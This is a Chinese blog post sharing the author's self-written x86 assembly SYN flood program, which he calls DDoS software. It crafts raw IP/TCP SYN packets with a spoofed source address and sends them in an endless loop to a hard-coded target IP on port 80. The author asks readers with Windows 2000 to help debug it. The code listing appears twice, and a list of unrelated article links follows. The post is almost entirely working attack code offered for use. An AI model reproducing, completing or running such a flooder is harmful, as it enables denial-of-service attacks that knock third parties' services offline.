自己用汇编写的一个SYN攻击软件,俗称DDOS攻击
2016-06-07 23:07
1086 查看
由于本人使用的是XP SP3版本,此版本关闭了发送原始套接字的功能,所以没有最后调试成功。
有WIN2000的朋友能够帮忙调试的话请把调试结果高诉我,调试时可用科来软件嗅探数据包。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
;;IP数据包头部结构定义
ip_head struct
h_lenver db ? ;4位IP版本号+4位首部长度
TOS db ? ;8位服务类型
ip_len dw ? ;16位IP+TCP数据包总长度
ident dw ? ;16位标识
frag_and_flags dw ? ;3位分片标志+13位分片偏移
ttl db ? ;8位生存时间
proto1 db ? ;8位协议类型
checksum dw ? ;16位校验和
sourceIP dd ? ;32位源IP
destIP dd ? ;32位目的IP
ip_head ends
;;TCP头部结构定义
tcp_head struct
th_sport dw ? ;16位源端口
th_dport dw ? ;16位目的端口
th_seq dd ? ;32位序列号
th_ack dd ? ;32位确认号
th_lenres db ? ;4位首部长度+6位保留字,注意这个字段和下面的标志共16位,因6位保留为0,为了定义方便所以填充时可按8位填充两个字段
th_flag db ? ;6位标志位
th_win dw ? ;16位窗口大小
th_sum dw ? ;16位校验和
th_urp dw ? ;16位紧急数据偏移量
tcp_head ends
;;伪TCP头部结构定义,伪TCP头部是用来求效验和的
wtcp_h struct
saddr dd ? ;32位IP头部里的源地址
daddr dd ? ;32位IP头部里的目的地址
mbz db ? ;8位全0
ptcl db ? ;8位协议类型,TCP是6
tcpl dw ? ;16位TCP总长度
wtcp_h ends
.data?
s dd ?
SendBuf db 64 dup (?) ;缓冲区
Sendlen dd ? ;缓冲区有效长度
stWsa WSADATA <>
stsin sockaddr_in <>
iphead ip_head <>
tcphead tcp_head <>
wtcp wtcp_h <>
.data
flag db TRUE
.const
syn_s db '58.30.17.108',0 ;攻击目标地址
syn_c db '10.1.1.100',0 ;攻击源地址
ip_len equ sizeof ip_head+sizeof tcp_head ;IP+TCP总长度
.code
;求校验和的子程序,参数一是缓冲区地址,参数二是缓冲区有效长度
_checksum proc uses ebx ecx edi lp,sum
local @szBuffer[64]:byte
mov esi,lp ;内存拷贝代码开始
lea edi,@szBuffer
mov ecx,sum ;大小
cld
rep movsb ;内存拷贝代码结束
xor eax,eax
xor ebx,ebx
xor ecx,ecx
lea edi,@szBuffer
mov ax,[edi]
clc
.while ebx<sum
add ebx,2
.break .if ebx == sum
mov cx,[ebx+edi]
add ax,cx
.if CARRY?
add ax,1
clc
.endif
.endw
not ax
ret
_checksum endp
start:
;填充IP首部
mov iphead.h_lenver,45h ;高4位版本号,低4位首部长度,步长4字节共20字节
mov iphead.TOS,0 ;8位服务类型
mov iphead.ip_len,ip_len ;16位IP+TCP总长度
invoke htons,iphead.ip_len ;转换为网络顺序
mov iphead.ip_len,ax
mov iphead.ident,1 ;16位标识,此数值为不固定数值,一般为网卡总发包数
xor eax,eax
mov iphead.frag_and_flags,ax ;3位分片标志+13位分片偏移,这里不分片所以为0
mov iphead.ttl,128 ;8位生存时间
mov iphead.proto1,6 ;8位协议类型.6为TCP
mov iphead.checksum,0 ;16位校验和,计算前必须为0
invoke inet_addr,addr syn_c ;转换攻击源地址为网络顺序
mov iphead.sourceIP,eax ;转换后的IP地址保存到结构里
invoke inet_addr,addr syn_s ;转换攻击目标地址为网络顺序
mov iphead.destIP,eax ;转换后的IP地址保存到结构里
;填充TCP首部
invoke htons,8000
mov tcphead.th_sport,ax ;16位源端口
invoke htons,80
mov tcphead.th_dport,ax ;16位目的端口
invoke htonl,1000
mov tcphead.th_seq,eax ;32位序列号,此数值不是固定数应是随机数
mov tcphead.th_ack,0 ;32位确认号,第一次握手为0
mov tcphead.th_lenres,80
mov tcphead.th_flag,2 ;6位标志位,syn
invoke htons,65535
mov tcphead.th_win,ax ;16位窗口大小
mov tcphead.th_sum,0 ;16位校验和,计算前必须为0
mov tcphead.th_urp,0 ;16位紧急数据偏移量
;填充伪TCP首部
push iphead.sourceIP
pop wtcp.saddr ;32位IP头部里的源地址
push iphead.destIP
pop wtcp.daddr ;32位IP头部里的目的地址
mov wtcp.mbz,0 ;8位全0
mov wtcp.ptcl,6 ;8位协议类型,TCP是6
mov ax,sizeof ip_head
invoke htons,ax
mov wtcp.tcpl,ax ;16位TCP总长度
;IP和TCP校验和计算
mov esi,offset wtcp ;将tcp伪首部拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof wtcp ;大小为sizeof wtcp
cld
rep movsb ;内存拷贝代码结束
mov esi,offset tcphead ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof wtcp ;缓冲区SendBuf伪tcp首部后面
mov ecx,sizeof tcphead ;大小为sizeof tcphead
cld
rep movsb ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof tcphead+sizeof wtcp ;计算TCP首部效验和
mov tcphead.th_sum,ax
xor eax,eax ;缓冲区清0
mov edi,offset SendBuf
mov ecx,sizeof SendBuf
cld
rep stosb ;清0结束
mov esi,offset iphead ;将iphead(IP首部)拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof iphead ;大小为sizeof iphead
cld
rep movsb ;内存拷贝代码结束
mov esi,offset tcphead ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof iphead ;缓冲区ip首部后面
mov ecx,sizeof tcphead ;大小为sizeof tcphead
cld
rep movsb ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof iphead+sizeof tcphead ;计算IP首部效验和
mov iphead.checksum,ax ;IP首部效验和保存到结构里
;初始化SOCKET并发送数据
invoke inet_addr,addr syn_s ;转换IP地址为网络顺序
mov stsin.sin_addr,eax ;转换后的IP地址保存到结构里
mov stsin.sin_family,AF_INET
invoke htons,80 ;把端口转换为网络顺序
mov stsin.sin_port,ax ;转换后端口保存到结构里
invoke WSAStartup,2h,addr stWsa ;装载SOCKET
invoke socket,AF_INET,SOCK_RAW,IPPROTO_RAW ;初始化SOCKET为原始套接字模式
mov s,eax ;保存初始化成功的句柄
invoke setsockopt,s,IPPROTO_IP,1,addr flag,sizeof flag
invoke WSAGetLastError
.while 1
invoke sendto,s,addr SendBuf,sizeof iphead+sizeof tcphead,0,addr stsin,sizeof sockaddr_in ;发送缓存里的字符到服务器
.endw
invoke closesocket,s ;关闭SOCKET
invoke WSACleanup ;卸载SOCKET
invoke ExitProcess,NULL ;程序退出
end start
有WIN2000的朋友能够帮忙调试的话请把调试结果高诉我,调试时可用科来软件嗅探数据包。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
;;IP数据包头部结构定义
ip_head struct
h_lenver db ? ;4位IP版本号+4位首部长度
TOS db ? ;8位服务类型
ip_len dw ? ;16位IP+TCP数据包总长度
ident dw ? ;16位标识
frag_and_flags dw ? ;3位分片标志+13位分片偏移
ttl db ? ;8位生存时间
proto1 db ? ;8位协议类型
checksum dw ? ;16位校验和
sourceIP dd ? ;32位源IP
destIP dd ? ;32位目的IP
ip_head ends
;;TCP头部结构定义
tcp_head struct
th_sport dw ? ;16位源端口
th_dport dw ? ;16位目的端口
th_seq dd ? ;32位序列号
th_ack dd ? ;32位确认号
th_lenres db ? ;4位首部长度+6位保留字,注意这个字段和下面的标志共16位,因6位保留为0,为了定义方便所以填充时可按8位填充两个字段
th_flag db ? ;6位标志位
th_win dw ? ;16位窗口大小
th_sum dw ? ;16位校验和
th_urp dw ? ;16位紧急数据偏移量
tcp_head ends
;;伪TCP头部结构定义,伪TCP头部是用来求效验和的
wtcp_h struct
saddr dd ? ;32位IP头部里的源地址
daddr dd ? ;32位IP头部里的目的地址
mbz db ? ;8位全0
ptcl db ? ;8位协议类型,TCP是6
tcpl dw ? ;16位TCP总长度
wtcp_h ends
.data?
s dd ?
SendBuf db 64 dup (?) ;缓冲区
Sendlen dd ? ;缓冲区有效长度
stWsa WSADATA <>
stsin sockaddr_in <>
iphead ip_head <>
tcphead tcp_head <>
wtcp wtcp_h <>
.data
flag db TRUE
.const
syn_s db '58.30.17.108',0 ;攻击目标地址
syn_c db '10.1.1.100',0 ;攻击源地址
ip_len equ sizeof ip_head+sizeof tcp_head ;IP+TCP总长度
.code
;求校验和的子程序,参数一是缓冲区地址,参数二是缓冲区有效长度
_checksum proc uses ebx ecx edi lp,sum
local @szBuffer[64]:byte
mov esi,lp ;内存拷贝代码开始
lea edi,@szBuffer
mov ecx,sum ;大小
cld
rep movsb ;内存拷贝代码结束
xor eax,eax
xor ebx,ebx
xor ecx,ecx
lea edi,@szBuffer
mov ax,[edi]
clc
.while ebx<sum
add ebx,2
.break .if ebx == sum
mov cx,[ebx+edi]
add ax,cx
.if CARRY?
add ax,1
clc
.endif
.endw
not ax
ret
_checksum endp
start:
;填充IP首部
mov iphead.h_lenver,45h ;高4位版本号,低4位首部长度,步长4字节共20字节
mov iphead.TOS,0 ;8位服务类型
mov iphead.ip_len,ip_len ;16位IP+TCP总长度
invoke htons,iphead.ip_len ;转换为网络顺序
mov iphead.ip_len,ax
mov iphead.ident,1 ;16位标识,此数值为不固定数值,一般为网卡总发包数
xor eax,eax
mov iphead.frag_and_flags,ax ;3位分片标志+13位分片偏移,这里不分片所以为0
mov iphead.ttl,128 ;8位生存时间
mov iphead.proto1,6 ;8位协议类型.6为TCP
mov iphead.checksum,0 ;16位校验和,计算前必须为0
invoke inet_addr,addr syn_c ;转换攻击源地址为网络顺序
mov iphead.sourceIP,eax ;转换后的IP地址保存到结构里
invoke inet_addr,addr syn_s ;转换攻击目标地址为网络顺序
mov iphead.destIP,eax ;转换后的IP地址保存到结构里
;填充TCP首部
invoke htons,8000
mov tcphead.th_sport,ax ;16位源端口
invoke htons,80
mov tcphead.th_dport,ax ;16位目的端口
invoke htonl,1000
mov tcphead.th_seq,eax ;32位序列号,此数值不是固定数应是随机数
mov tcphead.th_ack,0 ;32位确认号,第一次握手为0
mov tcphead.th_lenres,80
mov tcphead.th_flag,2 ;6位标志位,syn
invoke htons,65535
mov tcphead.th_win,ax ;16位窗口大小
mov tcphead.th_sum,0 ;16位校验和,计算前必须为0
mov tcphead.th_urp,0 ;16位紧急数据偏移量
;填充伪TCP首部
push iphead.sourceIP
pop wtcp.saddr ;32位IP头部里的源地址
push iphead.destIP
pop wtcp.daddr ;32位IP头部里的目的地址
mov wtcp.mbz,0 ;8位全0
mov wtcp.ptcl,6 ;8位协议类型,TCP是6
mov ax,sizeof ip_head
invoke htons,ax
mov wtcp.tcpl,ax ;16位TCP总长度
;IP和TCP校验和计算
mov esi,offset wtcp ;将tcp伪首部拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof wtcp ;大小为sizeof wtcp
cld
rep movsb ;内存拷贝代码结束
mov esi,offset tcphead ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof wtcp ;缓冲区SendBuf伪tcp首部后面
mov ecx,sizeof tcphead ;大小为sizeof tcphead
cld
rep movsb ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof tcphead+sizeof wtcp ;计算TCP首部效验和
mov tcphead.th_sum,ax
xor eax,eax ;缓冲区清0
mov edi,offset SendBuf
mov ecx,sizeof SendBuf
cld
rep stosb ;清0结束
mov esi,offset iphead ;将iphead(IP首部)拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof iphead ;大小为sizeof iphead
cld
rep movsb ;内存拷贝代码结束
mov esi,offset tcphead ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof iphead ;缓冲区ip首部后面
mov ecx,sizeof tcphead ;大小为sizeof tcphead
cld
rep movsb ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof iphead+sizeof tcphead ;计算IP首部效验和
mov iphead.checksum,ax ;IP首部效验和保存到结构里
;初始化SOCKET并发送数据
invoke inet_addr,addr syn_s ;转换IP地址为网络顺序
mov stsin.sin_addr,eax ;转换后的IP地址保存到结构里
mov stsin.sin_family,AF_INET
invoke htons,80 ;把端口转换为网络顺序
mov stsin.sin_port,ax ;转换后端口保存到结构里
invoke WSAStartup,2h,addr stWsa ;装载SOCKET
invoke socket,AF_INET,SOCK_RAW,IPPROTO_RAW ;初始化SOCKET为原始套接字模式
mov s,eax ;保存初始化成功的句柄
invoke setsockopt,s,IPPROTO_IP,1,addr flag,sizeof flag
invoke WSAGetLastError
.while 1
invoke sendto,s,addr SendBuf,sizeof iphead+sizeof tcphead,0,addr stsin,sizeof sockaddr_in ;发送缓存里的字符到服务器
.endw
invoke closesocket,s ;关闭SOCKET
invoke WSACleanup ;卸载SOCKET
invoke ExitProcess,NULL ;程序退出
end start
相关文章推荐
- 游戏中的设计模式与编码原则
- hdu 5677 ztr loves substring
- leetcode 110 Balanced Binary Tree
- 玩具工厂
- JDK字符串查找算法
- iOS集合视图学习笔记
- is not allowed to connect to this MySQL server解决办法
- babel 编译后 this 变成了 undefined
- 轻松把玩HttpClient之封装HttpClient工具类(七),新增验证码识别功能
- android学习路线
- 逻辑炸弹程序
- Gensim Word2vec简介
- 进程调度算法
- 【BZOJ3673】&&【BZOJ3674】: 可持久化并查集 by zky 可持久化线段树
- R语言中的数学计算(转载)
- struts拓展restful
- 热启动和冷启动
- java-CompletionService
- struts拓展restful
- 【BZOJ3207】花神的嘲讽计划I 可持久化线段树/莫队